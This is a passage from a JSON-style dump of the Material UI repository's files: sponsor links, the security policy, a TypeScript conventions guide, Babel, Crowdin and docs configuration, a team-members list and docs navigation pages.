src=\"https://images.opencollective.com/dialmycalls/f5ae9ab/avatar/288.png\" alt=\"dialmycalls.com\" title=\"DialMyCalls: Send text messages, calls, and emails.\" loading=\"lazy\" /></a>\n  &nbsp;\n  <a href=\"https://www.react-pdf-kit.dev/?utm_source=mui.com&utm_medium=referral&utm_content=readme\" rel=\"noopener sponsored\" target=\"_blank\"><img height=\"96\" width=\"96\" src=\"https://images.opencollective.com/react-pdf-kit/c8e1c25/logo/288.png\" alt=\"react-pdf-kit.dev\" title=\"Powerful, Fast, Dev-Friendly React PDF Viewer.\" loading=\"lazy\" /></a>\n  &nbsp;\n</p>\n\n<p>\n  <a href=\"https://goread.io/?utm_source=mui.com&utm_medium=referral&utm_content=readme\" rel=\"noopener sponsored\" target=\"_blank\">Goread.io</a>\n  &nbsp;\n  <a href=\"https://buzzoid.com/?utm_source=mui.com&utm_medium=referral&utm_content=readme\" rel=\"noopener sponsored\" target=\"_blank\">Buzzoid</a>\n  &nbsp;\n  <a href=\"https://twicsy.com/?utm_source=mui.com&utm_medium=referral&utm_content=readme\" rel=\"noopener sponsored\" target=\"_blank\">Twicsy</a>\n  &nbsp;\n  <a href=\"https://views4you.com/?utm_source=mui.com&utm_medium=referral&utm_content=readme\" rel=\"noopener sponsored\" target=\"_blank\">Views4You</a>\n  &nbsp;\n  <a href=\"https://poprey.com/?utm_source=mui.com&utm_medium=referral&utm_content=readme\" rel=\"noopener sponsored\" target=\"_blank\">Poprey</a>\n  &nbsp;\n  <a href=\"https://www.socialwick.com/instagram/followers/?utm_source=mui.com&utm_medium=referral&utm_content=readme\" rel=\"noopener sponsored\" target=\"_blank\">SocialWick</a>\n  &nbsp;\n <a href=\"https://www.follower24.de/?utm_source=mui.com&utm_medium=referral&utm_content=readme\" rel=\"noopener sponsored\" target=\"_blank\">Follower24</a>\n  &nbsp;\n</p>\n\nGold sponsors are those who have pledged \\$500/month or more to MUI.\n\n### More backers\n\nSee the full list of [our backers](https://mui.com/material-ui/discover-more/backers/).\n\n## Questions\n\nFor how-to questions that don't involve making changes to the code base, please use [Stack Overflow](https://stackoverflow.com/questions/) instead of GitHub issues.\n\n## Examples\n\n<!-- #target-branch-reference -->\n\nOur documentation features [a collection of example projects](https://github.com/mui/material-ui/tree/master/examples).\n\n## Premium templates\n\nYou can find complete templates and themes in the [MUI Store](https://mui.com/store/?utm_source=docs&utm_medium=referral&utm_campaign=readme-store).\n\n## Contributing\n\nRead the [contributing guide](/CONTRIBUTING.md) to learn about our development process, how to propose bug fixes and improvements, and how to build and test your changes.\n\nContributing is about more than just issues and pull requests!\nThere are many other ways to [support Material UI](https://mui.com/material-ui/getting-started/faq/#mui-is-an-awesome-organization-how-can-i-support-it) beyond contributing to the code base.\n\n## Changelog\n\nThe [changelog](https://github.com/mui/material-ui/releases) is regularly updated to reflect what's changed in each new release.\n\n## Roadmap\n\nFuture plans and high-priority features and enhancements can be found in the [roadmap](https://mui.com/material-ui/discover-more/roadmap/).\n\n## License\n\nThis project is licensed under the terms of the [MIT license](/LICENSE).\n\n## Security\n\nFor details on supported versions and contact information for reporting security issues, please refer to the [security policy](https://github.com/mui/material-ui/security/policy).\n\n## Sponsoring services\n\nThese great services sponsor MUI's core infrastructure:\n\n<div>\n<picture>\n  <source media=\"(prefers-color-scheme: dark)\" srcset=\"https://mui.com/static/readme/github-darkmode.svg\">\n  <source media=\"(prefers-color-scheme: light)\" srcset=\"https://mui.com/static/readme/github-lightmode.svg\">\n  <img alt=\"GitHub logo\" src=\"https://mui.com/static/readme/github-lightmode.svg\" width=\"80\" height=\"43\">\n</picture>\n\n[GitHub](https://github.com/) lets us host the Git repository and coordinate contributions.\n\n</div>\n\n<div>\n<picture>\n  <source media=\"(prefers-color-scheme: dark)\" srcset=\"https://mui.com/static/readme/netlify-darkmode.svg\">\n  <source media=\"(prefers-color-scheme: light)\" srcset=\"https://mui.com/static/readme/netlify-lightmode.svg\">\n  <img alt=\"Netlify logo\" src=\"https://mui.com/static/readme/netlify-lightmode.svg\" width=\"100\" height=\"27\">\n</picture>\n\n[Netlify](https://www.netlify.com/) lets us distribute the documentation.\n\n</div>\n\n<div>\n<img loading=\"lazy\" alt=\"CodeCov logo\" src=\"https://avatars.githubusercontent.com/u/8226205?s=105\" width=\"35\" height=\"35\">\n\n[CodeCov](https://about.codecov.io/) lets us monitor test coverage.\n\n</div>\n"
  },
  {
    "path": "SECURITY.md",
    "content": "# Security policy\n\n## Supported versions\n\nThe versions of the project that are currently supported with security updates.\n\n| Material UI version | Release    | Supported                            |\n| ------------------: | :--------- | :----------------------------------- |\n|              ^7.0.0 | 2025-03-26 | :white_check_mark: Stable major      |\n|              ^6.0.0 | 2024-08-26 | :white_check_mark: Long-term support |\n|              ^5.0.0 | 2021-09-16 | :white_check_mark: Long-term support |\n|              ^4.0.0 | 2019-06-23 | :x:                                  |\n|              ^3.0.0 | 2018-08-27 | :x:                                  |\n|              ^2.0.0 | /          | :x:                                  |\n|              ^1.0.0 | 2018-06-18 | :x:                                  |\n|             <=1.0.0 | 2014-10-05 | :x:                                  |\n\n## Reporting a vulnerability\n\nYou can report a vulnerability by contacting us via email at [security@mui.com](mailto:security@mui.com).\n"
  },
  {
    "path": "TYPESCRIPT_CONVENTION.md",
    "content": "# TypeScript convention\n\n## Component\n\n> **Public components** are considered all components exported from `@mui/material` or `@mui/lab`.\n>\n> **Internal components** are considered all components that are not exported from the packages, but only used in some public component.\n\n### `Props Interface`\n\n- export interface `{ComponentName}classes` from `{component}Classes.ts` and add comment for generating API docs (for internal components, may or may not expose classes but don't need comment)\n- export interface `{ComponentName}Props`\n- always export props interface (use `interface` over `type`) from the component file\n\n<details>\n  <summary>Public component</summary>\n\n```ts\n// fooClasses.tsx\n\nexport interface FooClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the foo element. */\n  foo: string;\n  /** Styles applied to the root element if `disabled=true`. */\n  disabled: string;\n}\n\nconst fooClasses: FooClasses = generateUtilityClasses('MuiFoo', ['root', 'foo', 'disabled']);\n\nexport default fooClasses;\n```\n\n```ts\n// Foo.tsx\nimport { FooClasses } from './fooClasses';\n\nexport interface FooProps {\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<FooClasses>;\n  // ...other props\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme>;\n}\n```\n\n</details>\n<details>\n  <summary>internal component</summary>\n\n```ts\n// Bar.tsx\n\n// if this internal component can accept classes as prop\nexport interface BarClasses {\n  root: string;\n}\n\nexport interface BarProps {\n  classes?: Partial<BarClasses>;\n  sx?: SxProps<Theme>;\n}\n```\n\n</details>\n\n### `ClassKey`\n\n- naming as `{ComponentName}ClassKey`\n- export if `classes` exists in props interface using `keyof` from `{component}Classes.ts`\n\n```ts\n// fooClasses.ts\nexport interface FooClasses {\n  ...\n}\n\nexport type FooClassKey = keyof FooClasses;\n// verify that FooClassKey is union of string literal\n```\n\n### `Classes generator & Utility`\n\n- export if `classes` exists in props interface from the component file\n- use `{Component}Classes` as type to preventing typo and missing classes\n- use `Private` prefix for internal component\n\n<details>\n  <summary>Public component</summary>\n\n```ts\n// fooClasses.ts\nexport function getFooUtilityClass(slot: string) {\n  return generateUtilityClass('MuiFoo', slot);\n}\n\nconst useUtilityClasses = (ownerState: FooProps & { extraProp: boolean }) => {\n  // extraProp might be the key/value from react context that this component access\n  const { foo, disabled, classes } = ownerState;\n\n  const slots = {\n    root: ['root', foo && 'foo', disabled && 'disabled'],\n  };\n\n  return composeClasses(slots, getFooUtilityClass, classes);\n};\n```\n\n</details>\n<details>\n  <summary>internal component</summary>\n\n```ts\n// Bar.tsx\n// in case that classes is not exposed.\n// `classes` is used internally in this component\nconst classes = generateUtilityClasses('PrivateBar', ['root', 'bar']);\n```\n\n</details>\n\n### `StyledComponent`\n\n- naming using slot `{ComponentName}{Slot}`\n- to extend interface of the styled component, pass argument to generic\n\n<details>\n  <summary>public component</summary>\n\n```ts\nconst FooRoot = styled(Typography, {\n  name: 'MuiFoo',\n  slot: 'Root',\n  overridesResolver: (props, styles) => styles.root,\n})({\n  // styling\n});\n```\n\n</details>\n<details>\n  <summary>internal component</summary>\n\n```ts\nconst BarRoot = styled(Typography)({\n  // styling\n});\n```\n\n</details>\n<details>\n  <summary>extends interface</summary>\n\n```ts\nconst BarRoot = styled(Typography)<{\n  component?: React.ElementType;\n  ownerState: BarProps;\n}>(({ theme, ownerState }) => ({\n  // styling\n}));\n// passing `component` to BarRoot is safe and we don't forget to pass ownerState\n// <BarRoot component=\"span\" ownerState={ownerState} />\n```\n\n</details>\n\n### `Component declaration`\n\n- prefer `function Component() {}` over `React.FC`\n- naming the render function in `React.forwardRef` (for devtools)\n- `useThemeProps` is needed only for public component\n- pass `ownerState` to StyledComponent for styling\n\n<details>\n  <summary>public component</summary>\n\n```ts\nconst Foo = React.forwardRef<HTMLSpanElement, FooProps>(function Foo(inProps, ref) => {\n  // pass args like this, otherwise will get error about theme at return section\n  const props = useThemeProps<Theme, FooProps, 'MuiFoo'>({\n    props: inProps,\n    name: 'MuiFoo',\n  });\n  const { children, className, ...other } = props\n\n  // ...implementation\n\n  const ownerState = { ...props, ...otherValue }\n\n  const classes = useUtilityClasses(ownerState);\n\n  return (\n    <FooRoot\n      ref={ref}\n      className={clsx(classes.root, className)}\n      ownerState={ownerState}\n      {...other}\n    >\n      {children}\n    </FooRoot>\n  )\n})\n```\n\n</details>\n<details>\n  <summary>internal component</summary>\n\n```ts\nconst classes = generateUtilityClasses('PrivateBar', ['selected']);\n\nconst BarRoot = styled('div')(({ theme }) => ({\n  [`&.${classes.selected}`]: {\n    color: theme.palette.text.primary,\n  },\n}));\n\n// if this component does not need React.forwardRef, don't use React.FC\nconst Bar = (props: BarProps) => {\n  const { className, selected, ...other } = props;\n  return <BarRoot className={clsx({ [classes.selected]: selected })} {...other} />;\n};\n```\n\n</details>\n"
  },
  {
    "path": "babel.config.mjs",
    "content": "// @ts-check\nimport { fileURLToPath } from 'node:url';\nimport * as path from 'node:path';\n// @ts-ignore\nimport getBaseConfig from '@mui/internal-code-infra/babel-config';\n\n/**\n * @typedef {import('@babel/core')} babel\n */\n\nconst filename = fileURLToPath(import.meta.url);\nconst dirname = path.dirname(filename);\n\nconst errorCodesPath = path.resolve(dirname, './docs/public/static/error-codes.json');\n\n/**\n * @param {string} relativeToBabelConf\n * @returns {string}\n */\nfunction resolveAliasPath(relativeToBabelConf) {\n  const resolvedPath = path.relative(process.cwd(), path.resolve(dirname, relativeToBabelConf));\n  return `./${resolvedPath.replace('\\\\', '/')}`;\n}\n\n/** @type {babel.ConfigFunction} */\nexport default function getBabelConfig(api) {\n  const baseConfig = getBaseConfig(api);\n\n  const defaultAlias = {\n    '@mui/material': resolveAliasPath('./packages/mui-material/src'),\n    '@mui/docs': resolveAliasPath('./packages/mui-docs/src'),\n    '@mui/icons-material': resolveAliasPath(`./packages/mui-icons-material/lib`),\n    '@mui/lab': resolveAliasPath('./packages/mui-lab/src'),\n    '@mui/internal-markdown': resolveAliasPath('./packages/markdown'),\n    '@mui/styled-engine': resolveAliasPath('./packages/mui-styled-engine/src'),\n    '@mui/styled-engine-sc': resolveAliasPath('./packages/mui-styled-engine-sc/src'),\n    '@mui/system': resolveAliasPath('./packages/mui-system/src'),\n    '@mui/private-theming': resolveAliasPath('./packages/mui-private-theming/src'),\n    '@mui/utils': resolveAliasPath('./packages/mui-utils/src'),\n    '@mui/internal-docs-utils': resolveAliasPath('./packages-internal/docs-utils/src'),\n    docs: resolveAliasPath('./docs'),\n    test: resolveAliasPath('./test'),\n  };\n\n  /** @type {babel.PluginItem[]} */\n  const plugins = [\n    [\n      '@mui/internal-babel-plugin-minify-errors',\n      {\n        missingError: 'annotate',\n        errorCodesPath,\n        runtimeModule: '@mui/utils/formatMuiErrorMessage',\n        outExtension: process.env.MUI_OUT_FILE_EXTENSION ?? undefined,\n      },\n    ],\n  ];\n\n  const basePlugins = (baseConfig.plugins || []).filter(\n    (/** @type {[unknown, unknown, string]} */ [, , pluginName]) =>\n      pluginName !== '@mui/internal-babel-plugin-display-name',\n  );\n  basePlugins.push(...plugins);\n\n  return {\n    ...baseConfig,\n    plugins: basePlugins,\n    overrides: [\n      {\n        exclude: /\\.test\\.(m?js|ts|tsx)$/,\n        plugins: ['@babel/plugin-transform-react-constant-elements'],\n      },\n    ],\n    env: {\n      coverage: {\n        plugins: [\n          'babel-plugin-istanbul',\n          [\n            'babel-plugin-module-resolver',\n            {\n              root: ['./'],\n              alias: defaultAlias,\n            },\n          ],\n        ],\n      },\n      development: {\n        plugins: [\n          [\n            'babel-plugin-module-resolver',\n            {\n              alias: {\n                ...defaultAlias,\n                modules: './modules',\n              },\n              root: ['./'],\n            },\n          ],\n        ],\n      },\n    },\n  };\n}\n"
  },
  {
    "path": "crowdin.yml",
    "content": "commit_message: '[skip ci]'\npull_request_title: '[docs] Sync translations with Crowdin'\npull_request_labels: [l10n]\nfiles:\n  - source: /docs/src/**/*.md\n    ignore:\n      - /**/%file_name%-%two_letters_code%.md\n      - /docs/src/pages/getting-started/templates/*/**/*\n      - /docs/src/pages/premium-themes/*/**/*\n      - /docs/src/pages/discover-more/backers/*\n      - /docs/src/pages/discover-more/roadmap/*\n      - /docs/src/pages/company/**/*\n      - /docs/pages/careers/**/*\n    translation: /%original_path%/%file_name%-%two_letters_code%.%file_extension%\n  - source: /docs/data/**/*.md\n    ignore:\n      - /**/%file_name%-%two_letters_code%.md\n      - /docs/data/material/getting-started/templates/*/**/*\n      - /docs/data/material/discover-more/backers/*\n      - /docs/data/material/discover-more/roadmap/*\n      - /docs/data/material/premium-themes/*/**/*\n    translation: /%original_path%/%file_name%-%two_letters_code%.%file_extension%\n  - source: /docs/translations/**/*.json\n    ignore:\n      - /**/%file_name%-%two_letters_code%.json\n    translation: /%original_path%/%file_name%-%two_letters_code%.%file_extension%\n"
  },
  {
    "path": "dangerfile.js",
    "content": "const tsx = require('tsx/cjs/api');\n\n// danger uses babelify under the hood. The implementation is buggy and fails on our\n// custom plugins in our codebase. We'll just disable it and do our own compilation.\n// Danger must always be run with envirnonent variable `DANGER_DISABLE_TRANSPILATION=\"true\"`.\ntsx.require('./scripts/dangerFileContent', __filename);\n"
  },
  {
    "path": "docs/README.md",
    "content": "# Docs\n\nThis is the website of the company MUI and the documentation for Material UI.\n\nTo start the docs site in development mode, from the project root, run:\n\n```bash\npnpm docs:dev\n```\n\nIf you do not have pnpm installed, select your OS and follow the instructions on the [pnpm website](https://pnpm.io/installation).\n\nPackage managers other than pnpm (like npm or Yarn) are not supported and will not work.\n\n## How can I add a new demo to the documentation?\n\n[You can follow this guide](../CONTRIBUTING.md)\non how to get started contributing to MUI.\n\n## How do I help to improve the translations?\n\nPlease visit https://crowdin.com/project/material-ui-docs where you will be able to select a language and edit the translations.\nPlease don't submit pull requests directly.\n"
  },
  {
    "path": "docs/config.ts",
    "content": "// Valid languages to server-side render in production\nexport const LANGUAGES = ['en'];\n\n// Server side rendered languages\nexport const LANGUAGES_SSR = ['en'];\n\n// Work in progress\nexport const LANGUAGES_IN_PROGRESS = LANGUAGES.slice();\n\nexport const LANGUAGES_IGNORE_PAGES = (pathname: string) => {\n  // We don't have the bandwidth like Qt to translate our blog posts\n  // https://www.qt.io/zh-cn/blog\n  if (pathname === '/blog' || pathname.startsWith('/blog/')) {\n    return true;\n  }\n\n  if (pathname === '/size-snapshot/') {\n    return true;\n  }\n\n  return false;\n};\n"
  },
  {
    "path": "docs/data/about/teamMembers.json",
    "content": "[\n  {\n    \"name\": \"Olivier Tassinari\",\n    \"title\": \"Co-founder, CEO\",\n    \"location\": \"Paris, France\",\n    \"locationCountry\": \"fr\",\n    \"about\": \"Exercise addict and lifelong learner.\",\n    \"twitter\": \"olivtassinari\",\n    \"github\": \"oliviertassinari\"\n  },\n  {\n    \"name\": \"Matt Brookes\",\n    \"title\": \"Co-founder, Sales\",\n    \"location\": \"London, UK\",\n    \"locationCountry\": \"gb\",\n    \"about\": \"When I'm not 👨🏻‍💻, I'm 🧗🏼‍♂️.\",\n    \"twitter\": \"randomtechdude\",\n    \"github\": \"mbrookes\"\n  },\n  {\n    \"name\": \"Marija Najdova\",\n    \"title\": \"Engineering Manager\",\n    \"location\": \"Skopje, North Macedonia\",\n    \"locationCountry\": \"mk\",\n    \"about\": \"I do karate 🥋 and read 📚. A lot!\",\n    \"twitter\": \"marijanajdova\",\n    \"github\": \"mnajdova\"\n  },\n  {\n    \"name\": \"Danail Hadjiatanasov\",\n    \"title\": \"Engineering Manager\",\n    \"location\": \"Sofia, Bulgaria\",\n    \"locationCountry\": \"bg\",\n    \"about\": \"Boringly normal, geek deep down. I like 🚗 and 🏂.\",\n    \"twitter\": \"danail_h\",\n    \"github\": \"DanailH\"\n  },\n  {\n    \"name\": \"Jun Kunaporn\",\n    \"title\": \"UI Engineer — Core\",\n    \"location\": \"Bangkok, Thailand\",\n    \"locationCountry\": \"th\",\n    \"about\": \"UI Lover and ⛷ skiing newbie.\",\n    \"twitter\": \"siriwatknp\",\n    \"github\": \"siriwatknp\"\n  },\n  {\n    \"name\": \"Michał Dudak\",\n    \"title\": \"Software Engineer — Base UI\",\n    \"location\": \"Katowice, Poland\",\n    \"locationCountry\": \"pl\",\n    \"about\": \"Motorcyclist, gamer, and coder (UI and more!).\",\n    \"twitter\": \"michaldudak\",\n    \"github\": \"michaldudak\"\n  },\n  {\n    \"name\": \"Flavien Delangle\",\n    \"title\": \"Tech Lead — eXplore\",\n    \"location\": \"Lille, France\",\n    \"locationCountry\": \"fr\",\n    \"about\": \"Love cycling 🚴‍♂️ and reading 📚.\",\n    \"github\": \"flaviendelangle\"\n  },\n  {\n    \"name\": \"Alexandre Fauquette\",\n    \"title\": \"Tech Lead — xCharts\",\n    \"location\": \"Lille, France\",\n    \"locationCountry\": \"fr\",\n    \"about\": \"Love hacking and cycling 🚴‍♂️.\",\n    \"github\": \"alexfauquette\"\n  },\n  {\n    \"name\": \"Jan Potoms\",\n    \"title\": \"Tech Lead — Core\",\n    \"location\": \"Brussels, Belgium\",\n    \"locationCountry\": \"be\",\n    \"about\": \"Always curious, I enjoy cinema and hiking.\",\n    \"github\": \"Janpot\"\n  },\n  {\n    \"name\": \"José Freitas\",\n    \"title\": \"Technical Product Manager\",\n    \"location\": \"Augsburg, Germany\",\n    \"locationCountry\": \"de\",\n    \"about\": \"Art, fiction, and bar philosophy.\",\n    \"twitter\": \"zehdefreitas\",\n    \"github\": \"joserodolfofreitas\"\n  },\n  {\n    \"name\": \"Andrew Cherniavskyi\",\n    \"title\": \"Tech Lead — xGrid\",\n    \"location\": \"Wrocław, Poland\",\n    \"locationCountry\": \"pl\",\n    \"about\": \"Love playing music - electric and bass guitar 🎸.\",\n    \"twitter\": \"iamcherniavskii\",\n    \"github\": \"cherniavskii\"\n  },\n  {\n    \"name\": \"Sam Sycamore\",\n    \"title\": \"Head of Documentation\",\n    \"location\": \"Washington state, US\",\n    \"locationCountry\": \"us\",\n    \"about\": \"Musician and edible wild plant enthusiast 🌱.\"\n  },\n  {\n    \"name\": \"Lukas Tyla\",\n    \"title\": \"Software Engineer — eXplore\",\n    \"location\": \"Vilnius, Lithuania\",\n    \"locationCountry\": \"lt\",\n    \"about\": \"Learning and experimenting 📚.\",\n    \"github\": \"LukasTy\"\n  },\n  {\n    \"name\": \"Tina Deinekhovska\",\n    \"title\": \"Business Administrator\",\n    \"location\": \"London, UK\",\n    \"locationCountry\": \"gb\",\n    \"about\": \"Empathic optimist keen on dancing, biking and gardening.\",\n    \"github\": \"TinaDein\"\n  },\n  {\n    \"name\": \"Bilal Shafi\",\n    \"title\": \"Software Engineer — xGrid\",\n    \"location\": \"Islamabad, Pakistan\",\n    \"locationCountry\": \"pk\",\n    \"about\": \"DIY 🛠️, Learning 📚 and 🏓.\",\n    \"twitter\": \"MBilalShafi\",\n    \"github\": \"MBilalShafi\"\n  },\n  {\n    \"name\": \"Albert Yu\",\n    \"title\": \"Software Engineer — Core\",\n    \"location\": \"Hong Kong\",\n    \"locationCountry\": \"hk\",\n    \"about\": \"Minimalist, dog lover 🏔🐕.\",\n    \"twitter\": \"mj12albert\",\n    \"github\": \"mj12albert\"\n  },\n  {\n    \"name\": \"Romain Gregoire\",\n    \"title\": \"Software Engineer — xGrid\",\n    \"location\": \"Montréal, Canada\",\n    \"locationCountry\": \"ca\",\n    \"about\": \"Open-source tinkerer.\",\n    \"twitter\": \"romgrk\",\n    \"github\": \"romgrk\"\n  },\n  {\n    \"name\": \"Brijesh Bittu\",\n    \"title\": \"Software Engineer — Core\",\n    \"location\": \"Bengaluru, India\",\n    \"locationCountry\": \"in\",\n    \"about\": \"Loves cooking.\",\n    \"twitter\": \"brijeshb42\",\n    \"github\": \"brijeshb42\"\n  },\n  {\n    \"name\": \"Diego Andai\",\n    \"title\": \"UI Engineer — Core\",\n    \"location\": \"Santiago, Chile\",\n    \"locationCountry\": \"cl\",\n    \"about\": \"I love tennis 🎾 and cats 🐈.\",\n    \"twitter\": \"DiegoAndaiC\",\n    \"github\": \"DiegoAndai\"\n  },\n  {\n    \"name\": \"Nora Leonte\",\n    \"title\": \"Design Engineer — eXplore\",\n    \"location\": \"Cluj-Napoca, Romania\",\n    \"locationCountry\": \"ro\",\n    \"about\": \"Art enthusiast 🎨 outdoor person 🌳 animal lover 🐾.\",\n    \"github\": \"noraleonte\"\n  },\n  {\n    \"name\": \"Raffaella Luzi\",\n    \"title\": \"Head of Operations\",\n    \"location\": \"Rome, Italy\",\n    \"locationCountry\": \"it\",\n    \"about\": \"NYT crossword 📝 in one hand and a croissant 🥐 in the other.\",\n    \"github\": \"rluzists1\"\n  },\n  {\n    \"name\": \"Michel Engelen\",\n    \"title\": \"React Community Engineer — X\",\n    \"location\": \"Zeven, Germany\",\n    \"locationCountry\": \"de\",\n    \"about\": \"Geeking out on Badminton 🏸, everything Japan 🇯🇵 and Pizza 🍕.\",\n    \"twitter\": \"jsNerdic\",\n    \"github\": \"michelengelen\"\n  },\n  {\n    \"name\": \"Greg Abaoag\",\n    \"title\": \"Executive Assistant\",\n    \"location\": \"Baguio, Philippines\",\n    \"locationCountry\": \"ph\",\n    \"about\": \"Loves DIY, singing and learning.\",\n    \"twitter\": \"gzraenga\",\n    \"github\": \"zannager\"\n  },\n  {\n    \"name\": \"Vadym Raksha\",\n    \"title\": \"Software Engineer — Services\",\n    \"location\": \"Prague, Czechia\",\n    \"locationCountry\": \"cz\",\n    \"about\": \"Product experience geek 🛋, Mediterranean vibes 🍊.\",\n    \"twitter\": \"vadym_raksha\",\n    \"github\": \"hasdfa\"\n  },\n  {\n    \"name\": \"Colm Tuite\",\n    \"title\": \"Director of Design Engineering\",\n    \"location\": \"Dublin, Ireland\",\n    \"locationCountry\": \"ie\",\n    \"about\": \"Hi :). Designer / developer / entrepreneur.\",\n    \"twitter\": \"colmtuite\",\n    \"github\": \"colmtuite\"\n  },\n  {\n    \"name\": \"Nadja Kovacev\",\n    \"title\": \"People Partner\",\n    \"location\": \"Novi Sad, Serbia\",\n    \"locationCountry\": \"rs\",\n    \"about\": \"🧠 Psychology geek, 🏂 amateur snowboarder, and 𐃡 pottery enthusiast.\",\n    \"github\": \"nadjakovacev\"\n  },\n  {\n    \"name\": \"James Nelson\",\n    \"title\": \"UI Engineer — Base UI\",\n    \"location\": \"Gold Coast, Australia\",\n    \"locationCountry\": \"au\",\n    \"about\": \"Enjoy creating open source libraries and reading about AI 🤖.\",\n    \"twitter\": \"atomiksdev\",\n    \"github\": \"atomiks\"\n  },\n  {\n    \"name\": \"Aarón García\",\n    \"title\": \"Design Engineer — Core\",\n    \"location\": \"Alicante, Spain\",\n    \"locationCountry\": \"es\",\n    \"about\": \"Minimalism, web development, user experience, football, cycling.\",\n    \"twitter\": \"aarongarciah\",\n    \"github\": \"aarongarciah\"\n  },\n  {\n    \"name\": \"Jose Quintas\",\n    \"title\": \"Software Engineer — xCharts\",\n    \"location\": \"Barcelona, Spain\",\n    \"locationCountry\": \"es\",\n    \"about\": \"A general knowledge gatherer. Gamer and programmer in the off hours.\",\n    \"github\": \"JCQuintas\"\n  },\n  {\n    \"name\": \"Nikita Ossei\",\n    \"title\": \"Customer Support Agent\",\n    \"location\": \"Northampton, UK\",\n    \"locationCountry\": \"gb\",\n    \"about\": \"Astrology ♊️, learning 📚 and designing stuff 🎨.\",\n    \"github\": \"nikitaa24\"\n  },\n  {\n    \"name\": \"Kenan Yusuf\",\n    \"title\": \"Design Engineer — xGrid\",\n    \"location\": \"London, UK\",\n    \"locationCountry\": \"gb\",\n    \"about\": \"Amateur cook, DIYer, and film photographer.\",\n    \"twitter\": \"KebabYusuf\",\n    \"github\": \"KenanYusuf\"\n  },\n  {\n    \"name\": \"Armin Mehinović\",\n    \"title\": \"Software Engineer — xGrid\",\n    \"location\": \"Amsterdam, Netherlands\",\n    \"locationCountry\": \"nl\",\n    \"about\": \"♟️ Chess, 🛠️ Small DIY projects and learning about space 🌌.\",\n    \"github\": \"arminmeh\"\n  },\n  {\n    \"name\": \"Bernardo Belchior\",\n    \"title\": \"Software Engineer — xCharts\",\n    \"location\": \"Berlin, Germany\",\n    \"locationCountry\": \"de\",\n    \"about\": \"Soccer ⚽️ and coding 💻.\",\n    \"twitter\": \"bernardobelchi1\",\n    \"github\": \"bernardobelchior\"\n  },\n  {\n    \"name\": \"Rita Iglesias\",\n    \"title\": \"Software Engineer — eXplore\",\n    \"location\": \"Seville, Spain\",\n    \"locationCountry\": \"es\",\n    \"about\": \"Learning 📚, my dog 🐶 and Japanese culture 🇯🇵.\",\n    \"twitter\": \"rita_codes\",\n    \"github\": \"rita-codes\"\n  },\n  {\n    \"name\": \"Connor Davis\",\n    \"title\": \"Software Engineer — Core\",\n    \"location\": \"New York City, US\",\n    \"locationCountry\": \"us\",\n    \"about\": \"Community gardener, non-profit organizer, and nature enthusiast.\",\n    \"twitter\": \"connordav_is\",\n    \"github\": \"dav-is\"\n  },\n  {\n    \"name\": \"Luis Vasallo\",\n    \"title\": \"Account Executive — Sales\",\n    \"location\": \"Edinburgh, UK\",\n    \"locationCountry\": \"gb\",\n    \"about\": \"Loves drums 🥁, food 🍖 and books 📚.\",\n    \"github\": \"LuisHVasallo\"\n  },\n  {\n    \"name\": \"Miguel Follana Ugarte\",\n    \"title\": \"Technical Recruiter — People\",\n    \"location\": \"Alicante, Spain\",\n    \"locationCountry\": \"es\",\n    \"about\": \"Big fan of sports and learning! Definitely a lifelong generalist 🙃.\",\n    \"github\": \"MiguelFollana4\"\n  },\n  {\n    \"name\": \"Ana Estrada\",\n    \"title\": \"Software Engineer\",\n    \"location\": \"Madrid, Spain\",\n    \"locationCountry\": \"es\",\n    \"about\": \"Builder & software crafter by day; yoga 🧘🏻‍♀️, good food 🥘, video games 🎮 and cats 🐈‍⬛ by sunset.\",\n    \"github\": \"aemartos\"\n  },\n  {\n    \"name\": \"Silviu Alexandru Avram\",\n    \"title\": \"Software Engineer — Material UI\",\n    \"location\": \"București, Romania\",\n    \"locationCountry\": \"ro\",\n    \"about\": \"Coding, Traveling and Experimenting Hobbies.\",\n    \"twitter\": \"silviuaavram\",\n    \"github\": \"silviuaavram\"\n  }\n]\n"
  },
  {
    "path": "docs/data/docs/pages.ts",
    "content": "import type { MuiPage } from '@mui/docs/MuiPage';\nimport standardNavIcons from 'docs/src/modules/components/AppNavIcons';\n\nconst pages: readonly MuiPage[] = [\n  { pathname: 'https://mui.com/versions/' },\n  {\n    pathname: 'https://mui.com/store/',\n    title: 'Templates',\n    icon: standardNavIcons.ReaderIcon,\n    linkProps: {\n      'data-ga-event-category': 'store',\n      'data-ga-event-action': 'click',\n      'data-ga-event-label': 'sidenav',\n    },\n  },\n  { pathname: 'https://mui.com/blog/', title: 'Blog', icon: standardNavIcons.BookIcon },\n];\n\nexport default pages;\n"
  },
  {
    "path": "docs/data/docs-infra/pages.ts",
    "content": "import type { MuiPage } from '@mui/docs/MuiPage';\n\nconst pages: readonly MuiPage[] = [\n  {\n    pathname: '/experiments/docs/writing',\n    title: 'Writing',\n    children: [\n      { pathname: '/experiments/docs/headers' },\n      { pathname: '/experiments/docs/markdown' },\n      { pathname: '/experiments/docs/og-card', title: 'OG Image' },\n    ],\n  },\n  {\n    pathname: '/experiments/docs/components',\n    children: [\n      { pathname: '/experiments/docs/callouts' },\n      { pathname: '/experiments/docs/codeblock' },\n      { pathname: '/experiments/docs/custom-components' },\n      { pathname: '/experiments/docs/demos' },\n      { pathname: '/experiments/docs/pro-feature', title: 'Pro feature', plan: 'pro' },\n      { pathname: '/experiments/docs/data-grid-premium', title: 'API DataGridPremium' },\n    ],\n  },\n  {\n    pathname: '/experiments/docs/main-parent',\n    title: 'Test: pages.js',\n    children: [\n      {\n        pathname: '/experiments/docs/first-level-child-1',\n        title: 'First-level child 1',\n      },\n      {\n        pathname: '/experiments/docs/first-level-child-2',\n        title: 'First-level child 2',\n        children: [\n          { pathname: '/experiments/docs/second-level-child', title: 'Second-level child' },\n          { pathname: '/experiments/docs/subheader-divider', subheader: 'Subheader divider' },\n          {\n            pathname: '/experiments/docs/api/data-grid-group',\n            title: 'Second-level child parent',\n            children: [\n              { pathname: '/experiments/docs/third-level-child', title: 'Third-level child' },\n              {\n                pathname: '/experiments/docs/api/data-grid-components-group',\n                subheader: 'Subheader divider',\n                children: [\n                  {\n                    pathname: '/experiments/docs/api/data-grid/data-grid',\n                    title: 'Fourth-level child',\n                  },\n                ],\n              },\n            ],\n          },\n        ],\n      },\n      {\n        pathname: '/experiments/docs/first-level-child-3',\n        title: 'Pro plan',\n        plan: 'pro',\n      },\n      